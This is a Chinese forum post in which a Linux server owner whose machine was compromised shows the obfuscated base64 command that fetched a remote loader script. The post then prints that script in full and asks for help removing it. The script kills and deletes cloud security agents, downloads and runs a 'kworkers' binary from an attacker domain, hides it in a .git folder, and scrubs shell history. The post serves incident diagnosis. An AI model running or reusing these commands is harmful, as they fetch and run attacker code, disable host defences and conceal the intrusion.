linux被攻击的记录linux服务器被攻击了

导读linux服务器cpu标高topcpu高查看进程信息ps-ef|grepbashbash进程信息所以说通过执行下载远程脚本执行，进程杀不死，感觉像是无限循环....

linux服务器cpu标高

top

cpu高

查看进程信息

ps -ef | grep bash

bash进程信息

所以说通过执行下载远程脚本执行，进程杀不死，感觉像是无限循环在执行。。。

bash -c {echo,Y3VybCBodHRwOi8vbS53aW5kb3dzdXBkYXRlc3VwcG9ydC5vcmcvZC9sb2FkZXIuc2h8c2g=}|{base64,-d}|{bash,-i}

解密后获得脚本的实际地址为

echo "Y3VybCBodHRwOi8vbS53aW5kb3dzdXBkYXRlc3VwcG9ydC5vcmcvZC9sb2FkZXIuc2h8c2g="|base64 -dcurl http://m.windowsupdatesupport.org/d/loader.sh|sh

以下是执行的脚本内容

ps aux | grep -v grep | grep aegis | awk {print $11} | xargs dirname | xargs rm -rfps aux | grep -v grep | grep hids | awk {print $11} | xargs dirname | xargs rm -rfps aux | grep -v grep | grep cloudwalker | awk {print $11} | xargs dirname | xargs rm -rfps aux | grep -v grep | grep titanagent | awk {print $11} | xargs dirname | xargs rm -rfps aux | grep -v grep | grep edr | awk {print $2} | xargs -I {} kill -9 {}ps aux | grep -v grep | grep aegis | awk {print $2} | xargs -I {} kill -9 {}ps aux | grep -v grep | grep Yun | awk {print $2} | xargs -I {} kill -9 {}ps aux | grep -v grep | grep hids | awk {print $2} | xargs -I {} kill -9 {}ps aux | grep -v grep | grep edr | awk {print $2} | xargs -I {} kill -9 {}ps aux | grep -v grep | grep cloudwalker | awk {print $2} | xargs -I {} kill -9 {}ps aux | grep -v grep | grep titanagent | awk {print $2} | xargs -I {} kill -9 {}ps aux | grep -v grep | grep sgagent | awk {print $2} | xargs -I {} kill -9 {}ps aux | grep -v grep | grep barad_agent | awk {print $2} | xargs -I {} kill -9 {}ps aux | grep -v grep | grep hostguard | awk {print $2} | xargs -I {} kill -9 {}rm -rf /usr/local/aegisrm -rf /usr/local/qcloudrm -rf /usr/local/hostguard/binps aux | grep -v grep | grep kworkers | awk {print $2} | xargs -I {} kill -9 {}domainroota=m.windowsupdatesupport.orgmkdir ~/.gitmkdir ./.gitgitdir=~/.gitif [ -d ~/.git ]; then gitdir=~/.gitfiif [ -d ./.git ]; then gitdir=./.gitfirm -fv $gitdir/.lockcurl http://$domainroota/d/kworkers -o $gitdir/kworkerschmod 777 $gitdir/kworkersif [ -e /.dockerenv ]then $gitdir/kworkerselse nohup $gitdir/kworkers >>$gitdir/.log&fised -i /$domainroota/d ~/.bash_history

请大神帮忙解读一下。怎么去除这个东西。。。

程序员的较量总是这么默默无闻。